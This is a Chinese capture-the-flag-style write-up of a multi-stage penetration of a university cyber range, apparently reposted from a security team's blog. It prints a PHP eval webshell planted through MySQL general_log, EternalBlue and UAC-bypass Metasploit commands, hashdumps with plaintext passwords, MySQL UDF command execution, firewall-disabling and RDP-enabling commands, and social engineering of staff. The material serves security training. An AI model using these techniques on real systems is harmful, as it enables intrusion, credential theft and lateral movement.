靶场攻略 | 某大学实战靶场记录

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

最近这几年已经很少实战了,基本都在研究一些渗透测试中的技巧和常见问题的解决。这次应贝塔安全团队成员@蜗牛老哥的邀请与团队成员共同参与了这次某大学渗透测试实战靶场打靶,正好最近也闲着没事就当拿来练练手了。

首先我们根据攻击A组群里发的两份文档简单做了张图便于自己在渗透测试过程中查看,通过Zerotier客户端加入靶场内部网络并成功连接到Kali攻击机。

靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

0x02 第一阶段(192.168.2.244)

(1) 根据攻击说明中的提示可以根据Web攻击或系统漏洞拿到这台机器的权限,首先我们用Nmap和Nikto工具对192.168.2.244进行扫描发现有80端口,而且还有phpMyAdmin。
靶场攻略 | 某大学实战靶场记录

(2) 由于进入的是靶机内部网络,无法在本地访问192.168.2.244的80端口,所以这时我们要先进行内网穿透后再访问192.168.2.244的phpMyAdmin进行Getshell。

这里我们采用的内网穿透方式为FRP+Proxifier,在这次打靶中发现这种方式还是比较稳定的。

靶场Kali执行客户端:
nohup ./frpc -c frpc.ini &

frpc.ini客户端配置文件:

[common]server_addr = 156.***.**.194 -(公网VPS)server_port = 1080[plugin_socks]type = tcpremote_port = 8088plugin = socks5use_encryption = true  use_compression = trueplugin_user = testplugin_passwd = test123

公网VPS执行服务端:

nohup ./frps -c frps.ini &
frps.ini服务端配置文件:
[common]bind_port = 1080
靶场攻略 | 某大学实战靶场记录

执行内网穿透后访问192.168.2.244的80端口时发现很多都没有连接成功,那是因为我的Chrome浏览器安装了很多插件,有一些需要翻墙才能访问,而靶场的网络也是无法翻墙的,所以在Proxifier走的代理流量也是不能访问的。
靶场攻略 | 某大学实战靶场记录

(3) 通过phpinfo.php得到网站的绝对路径,默认账户密码root进入phpMyAdmin,并利用general_log成功Getshell,这台机器可以通外网,直接执行个CobaltStrike木马便于后期对192.168.3.x断网段进行测试。
show global variables like "%genera%";set global general_log='on';SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/cmd.php';
SELECT "<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";
set global general_log='off';
靶场攻略 | 某大学实战靶场记录

这里需要注意的是由于目标用的PHP7.0.12,可能会导致很多大马和一句话木马都用不了,或者在中国菜刀连接时会出现报错,因为PHP7移除了set_magic_quotes_runtime函数,而中国菜刀的数据包中又含有set_magic_quotes_runtime
[email protected](base64_decode($_POST[z0]));&z0[email protected]_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="t";$u=(function_exists('posix_getegid'))[email protected]_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();


0x03 第二阶段(192.168.3.X段)

(1) 利用Meterpreter下get_local_subnets、autoroute脚本将当前会话192.168.2.244与192.168.3.x段建立虚拟路由表实现对该段内机器进行扫描,post/multi/manage/autoroute。
meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 192.168.3.0/255.255.255.0

靶场攻略 | 某大学实战靶场记录


也可以用CobaltStrike反弹回来的192.168.2.244开启个Socks4代理,然后在他们Kali攻击机上配置好proxychains,并用proxychains启动Metasploit即可对192.168.3.x段内机器进行扫描
靶场攻略 | 某大学实战靶场记录

auxiliary/scanner/smb/smb_ms17_010:
[+] 192.168.3.9:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.16:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.20:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.23:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[-] 192.168.3.34:445  - An SMB Login Error occurred while connecting to the IPC$ tree.[+] 192.168.3.43:445  - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

(2) 这里我与@久久久老哥分别通过ms17_010_eternalblue、ms17_010_command两个模块拿到192.168.3.43、192.168.3.16两台机器SYSTEM权限,但由于192.168.3.x段内机器都为断网机导致暂时无法直接上线至CobaltStrike。

尝试了SMB Beacon、Link Listener以及中继beacon等方法都没能成功上线,不知道是不是“姿势”有问题,求教!最终发现DNS倒是能出网,但是卡的完全显示不出来。

注:写这份报告进行复现时不知道是被大家玩坏了还是他们靶场运维组做了什么防护,192.168.3.43和192.168.3.16在利用MS17-010漏洞攻击时都报了以下错误,没法再继续攻击。
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcpmsf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.3.43msf5 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
靶场攻略 | 某大学实战靶场记录

192.168.3.43哈希值和明文密码:
meterpreter > hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w[email protected]#123user106:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]

(3) 不过还好当时在192.168.3.43机器上创建了一个管理员用户,还可以在192.168.2.244会话上通过portfwd命令转发192.168.3.43的3389端口来进行远程桌面连接,而192.168.3.16这台机器的权限注定是已经掉了的。
meterpreter > portfwd add -r 192.168.3.43 -p 3389 -l 1234
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

注:自建管理员用户要绕UAC,默认Administrator用户被禁用,现在用的管理员用户是user106,密码为空,不过这台机器设置了禁止空密码连接远程桌面,但是我们可以用以下注册表命令来解决。
REG add "HKLMSYSTEMControlSet001ControlLsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f

(4) 在192.168.2.244会话建立虚拟路由表后利用bind_tcp正向载荷得到192.168.3.43断网机会话,然后再用bypassuac_eventvwr模块成功绕过这台机器的UAC得到SYSTEM权限。
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwrmsf5 exploit(windows/local/bypassuac_eventvwr) > set payload windows/meterpreter/bind_tcpmsf5 exploit(windows/local/bypassuac_eventvwr) > set rhost 192.168.3.43msf5 exploit(windows/local/bypassuac_eventvwr) > set lport 443msf5 exploit(windows/local/bypassuac_eventvwr) > set session 2msf5 exploit(windows/local/bypassuac_eventvwr) > exploit
靶场攻略 | 某大学实战靶场记录

(5) 前边我们已经测试了CobaltStrike的SMB Beacon、Link Listener以及中继beacon都没有成功,所以另外想了这么一种临时方法来解决192.168.3.x断网机上线问题。

将CobaltStrike服务端通过Meterpreter会话上传至192.168.2.244机器,然后在shell命令行执行teamserver_win.bat启动服务端。由于我们先前已经通过Kali攻击机进行内网穿透,可以与192.168.2.244通讯,所以能够在本地直接连接192.168.2.244的CobaltStrike服务端。
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

也可以通过读取目标机器上的TeamViewer ID和Pass,然后远程连接后再启动CobaltStrike服务端,为什么不直接用Mstsc连接192.168.2.244的3389呢?因为这台机器设置了IP安全策略,阻止了所有IP地址连接,只允许内网部分机器进行远程连接。

注:CobaltStrike服务端必须在交互式shell下才能执行,所以我们要先进入到远程桌面或MSF下执行。
靶场攻略 | 某大学实战靶场记录

192.168.2.244 TeamViewer路径、ID和密码
tasklist /svc | findstr "TeamViewer" & sc qc TeamViewerwmic process where name="TeamViewer.exe" get processid,name,executablepathTeamViewer ID:1 051 948 915  -  TeamViewer Pass:y1ru85

靶场攻略 | 某大学实战靶场记录


我们也可以选择用以下几条Netsh ipsec命令添加或删除192.168.2.244机器的IP安全策略来进行绕过。
添加IP安全策略:netsh ipsec static add policy name=阻止3389端口添加IP筛选器名:netsh ipsec static add filterlist name=放行192.168.3.43添加IP筛选器:netsh ipsec static add filter filterlist=放行192.168.3.43 srcaddr=192.168.3.43 dstaddr=Me dstport=3389 protocol=TCP添加筛选器操作:netsh ipsec static add filteraction name=放行 action=permit or block添加IP安全规则:netsh ipsec static add rule name=放行192.168.3.43 policy=阻止3389端口 filterlist=放行192.168.3.43 filteraction=放行激活指定安全策略:netsh ipsec static set policy name=阻止3389端口 assign=y or n
导出IP安全策略:netsh ipsec static exportpolicy C:WindowsdebugWIAip.ipsec导入IP安全策略:netsh ipsec static importpolicy C:WindowsdebugWIAip.ipsec删除所有安全策略:netsh ipsec static del all

这次测试还发现可以在Kali攻击机用FRP开一个Socks5代理,然后在MSF的192.168.2.244会话中用portfwd命令将3389端口转发出来后即可成功绕过IP安全策略进行远程连接。


注:配置Proxifier时建议使用Kali攻击机的Socks5代理,这样会比较稳定。CobaltStrike 192.168.2.244上开启的Socks4代理一时能连,一时不能连,具体原因不明,根据实际情况选择合适方法吧!

靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

192.168.2.244哈希值和明文密码:

beacon> hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b - Complex921betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w[email protected]#123Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0kenda:1023:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9bmysql:1004:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9bphpstudy:1003:aad3b435b51404eeaad3b435b51404ee:8b6f467992fd5105d50aebc26400a897

注:192.168.2.244搭建好CobaltStrike服务端后先上线244这台机器,然后可以直接用192.168.2.244来开启一个Socks4代理,在他们Kali攻击机上配置好proxychains来进行测试,最终的流量走向为:
  • 192.168.4.221(攻击机)->192.168.2.244(跳板机)->192.168.3.43(目标机)

靶场攻略 | 某大学实战靶场记录

上线192.168.3.43这台机器时发现个奇怪现象,进入远程桌面用原有管理用户user106执行Payload时不上线,而用自建管理用户betasec以管理员身份执行Payload时又可以正常上线
靶场攻略 | 某大学实战靶场记录

一、192.168.3.X段信息搜集

(1) 192.168.3.x段存活主机信息

使用以前改的一个批处理脚本和@K8哥哥的Ladon得到192.168.3.x段存活主机,IP、MAC、主机名、系统版本以及开放端口。

  • 项目地址:https://github.com/k8gege/Ladon

靶场攻略 | 某大学实战靶场记录

靶场攻略 | 某大学实战靶场记录


注:我们尝试了在虚拟路由表、Socks4/5代理和3389远程桌面下做信息搜集,发现在虚拟路由表和Socks4/5代理下扫描192.168.3.x段的存活主机和开放端口明显少了很多,因为192.168.2.244机器与192.168.3.x段内的一些机器是不通的,扫描时流量是经过192.168.2.244过去的,所以扫描结果不一样也属正常现象,有时晚上他们的实验室靶场机器也会关机。

(2) 192.168.3.43 FlashFXP信息

在192.168.3.43机器上找到C:Usersuser106Desktop目录结构softFlashFXP5.4.0.3960quick.dat配置文件,通过FlashfxpPasswordDecryptor工具解密得到历史保存的FTP地址、用户名和密码。

  • 下载地址:https://securityxploded.com

靶场攻略 | 某大学实战靶场记录

(3) 192.168.3.x MySQL弱口令

使用@shack2师傅写的SNETCracker超级弱密码检查工具在这个段中跑出3台机器存在MySQL弱口令。

  • 项目地址:https://github.com/shack2/SNETCracker

靶场攻略 | 某大学实战靶场记录

二、192.168.3.X段攻击方式

(1) 通过192.168.2.244上的Socks4代理用Navicat Premium连接192.168.3.24的MySQL,由于这台机器没有开启Web服务,所以我们只能利用UDF方式来进行权限提升,先查看插件目录和是否设置了secure_file_priv,然后将我们UDF.DLL文件以十六进制形式导入到MySQL插件目录,最后创建自定义函数执行命令即可。


192.168.3.2、192.168.3.16两台机器上的MySQL都设置了secure_file_priv值为Null或指定目录,而且也没有开启Web服务,所以暂时无法通过general_log方式来Getshell。
select @@plugin_dir;show global variables like "%secure%";

靶场攻略 | 某大学实战靶场记录

select hex(load_file('c:\udf.dll')) into dumpfile 'c:\udf_hex.txt';select 0x-udf_hex.txt into dumpfile "D:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";create function sys_eval returns int soname 'udf.dll';select sys_eval('whoami'); 
drop function sys_eval;delete from mysql.func where name='sys_eval';

靶场攻略 | 某大学实战靶场记录


注:这里用的sqlmap的lib_mysqludf_sys.dll,如果sys_eval执行命令返回为Null或sys_exec返回为0时不用管它,其实是已经执行成功了的。

也可以选择用MSF的mysql_udf_payload模块,不过这台机器上有微软自带Windows Defender,在上传或执行Payload时就被拦截了,但是DLL文件已经成功传上去了,可以自己去创建sys_eval、sys_exec函数来执行命令。
靶场攻略 | 某大学实战靶场记录

(2) 记得以前在测试MS17-010时好像有看到过一个EXP支持Windows 10 Pro 10240,而这个3段中正好有几台,经过测试发现只有192.168.3.9可以利用。

这个EXP是Python写的,且需要impacket库,所以我们必须在本地先安装好Python和impacket,并且将System32目录下的python27.dll也拷贝到Python安装目录,然后再将它们和EXP一起打包并上传至192.168.3.43。
靶场攻略 | 某大学实战靶场记录

MS17-010高版本利用条件,满足其中一个即可:

条件1利用时需要将Exp中的USERNAME、PASSWORD改为我们找到的普通用户和密码,条件2利用时只需要将Exp中的USERNAME改为目标计算机名即可,有时也会利用失败,多执行几次可能就好了。

1.必须得到目标机器上的一个普通权限用户和密码  1)启用Guest用户:net user guest /active:yes,空密码也可利用。
2.开启一个匿名共享(才能找到可访问的命名管道) 1)新建一个共享并给予Guest或Everyone共享权限(默认Everyone)。 2)高级共享设置->密码包含的共享->关闭密码包含共享(默认为开启状态)。
nmap -sV -O 192.168.0.108 //获取目标计算机名auxiliary/scanner/smb/pipe_auditor //获取目标可用pipe
靶场攻略 | 某大学实战靶场记录

这台机器同时满足了这两个条件,但不允许Guest空密码通过Mstsc登录,所以还是要用这个EXP,可以选择在Exp的36行处将USERNAME修改为Guest或192.168.3.9的计算机名ZYH,然后再执行即可,如返回如下提示则说明利用成功了。
注:这台机器用这个EXP打不是很稳定,复现时执行了N次也没能成功,最后让组长重启后才打成功!
靶场攻略 | 某大学实战靶场记录

如果机器能出网就可以用CobaltStrike生成个Powershell Payload,然后在Exp的923行处替换即可,但由于192.168.3.9这台机器也是断网机,所以我们就直接添加了一个管理员用户。
靶场攻略 | 某大学实战靶场记录

0x04 第三阶段(192.168.5.X段)

一、192.168.5.X段信息搜集
(1) 堡垒机开放端口
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

(2) 整合用户名密码
通过在已经拿到的192.168.2.244、192.168.3.43、192.168.3.24、192.168.3.9等机器上搜集到的操作系统、MySQL以及FlashFXP的用户名和密码组合成一个字典,可用于尝试爆破各种服务和应用。
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

二、192.168.5.X段攻击方式

(1) 使用SNETCracker检测出来的SSH弱口令成功登录到安恒的明御运维审计与风险控制系统后台,在用户管理处可以看出有几个爆破出来的用户都是部门管理员。

靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

(2) 在没有任何限制的情况下可以直接通过安恒明御运维审计与风险控制系统中的“主机运维”或者用Mstsc连接192.68.5.3:63389进入192.168.1.4日志服务器,但是开启Windows系统防火墙后再连接时就会报错。
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

注:按照靶场说明来看应该是通过192.168.5.x堡垒机直接进入192.168.1.4日志服务器,因为只有192.168.5.x段能与192.168.1.4相通,但是在测试中发现192.168.1.4并没有开启3389端口,而且还开了Windows系统防火墙,所以这里我们并没有利用上安恒明御运维审计与风险控制系统(堡垒机)。

0x05 第四阶段(192.168.4.1)

(1) 团队成员@欧根亲王号老哥通过靶场内网中的“布谷鸟2018”社交通讯软件对他们的值班人员进行社工,成功得到192.168.1.4日志服务器密码,而且也得到了192.168.1.10密码,由于我们的目标是日志服务器,也就没有再去测试192.168.1.10的密码中间是多了哪个特殊符号。
靶场攻略 | 某大学实战靶场记录

(2) 对192.168.1.4日志服务器的测试中发现Windows防火墙只对ICMP和RDP进行了拦截,也就是禁止了Ping和Mstsc远程连接,但是并没有拦截135和445,所以我们可以通过net use建立IPC$连接来查找192.168.1.14日志服务器上的flag.txt文件。
靶场攻略 | 某大学实战靶场记录
靶场攻略 | 某大学实战靶场记录

(3) 最后我们还可以通过135、445来执行系统命令关闭192.168.1.4日志服务器上的Windows防火墙和开启3389远程端口进入远程桌面。到这里基本上就已经结束了,如果时间允许的话还是可以继续深入的。
Wmic远程执行命令(无回显):wmic /node:192.168.1.4 /user:administrator /password:Complex909 process call create "cmd.exe /c whoami"
关闭/开启防火墙:netsh advfirewall set currentprofile state offnetsh advfirewall set currentprofile state on
开启3389端口:REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
靶场攻略 | 某大学实战靶场记录

注:192.168.1.4日志服务器的Administrator密码与在192.168.2.244机器上找到的FlashFXP配置文件中保存的192.168.2.6 FTP密码是一样的,在内网渗透中信息搜集是至关重要的一步,笔者在以前的一些内网渗透实战案例中曾多次遇到管理员使用的通用、规律密码。

0x06 事后总结

(1) 在这次打靶过程中可能是因为大家测试了各式各样的攻击手法造成靶场环境也总是出现各种各样的问题,如:ZeroTier和Kali攻击机连接不上、192.168.2.244的Web服务挂掉等等问题,也不排除其中有些人在靶场上边“捣蛋”,几个朋友都是因为总是碰到这些问题而放弃挣扎的。


(2) 笔者在这次实战打靶过程中发现对较复杂网络环境的内网穿透和渗透能力还是十分不足,本想多花点时间对192.168.3.x段内机器做信息搜集的,最后因笔者和团队成员的能力、时间有限只能搞到这了,听说里边有个大佬在3段上一路“横着走”,我等小菜只有羡慕嫉妒的份。


(3) 本想着打完这个3段就休息不搞了,不过最后还是与团队成员@久久久@欧根亲王号@森浩几个老哥一起根据前期搜集的信息和后期社工顺利打通关了。也感谢前期参与的@云顶老哥和团队其他成员提供的一些思路和方法。


(4) 看了攻击B组组长的报告发现他是直接利用Veil-Evasion生成了一个Payload,然后用Pyjoiner将Payload与正常程序捆绑并做了免杀处理,最后利用他们内网邮件系统和社交软件进行木马传播,方法虽然简单,但效果很不错。而我们当时就没想到这样去搞,还在死扛系统和服务漏洞。


本文始发于微信公众号(贝塔安全实验室):靶场攻略 | 某大学实战靶场记录

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: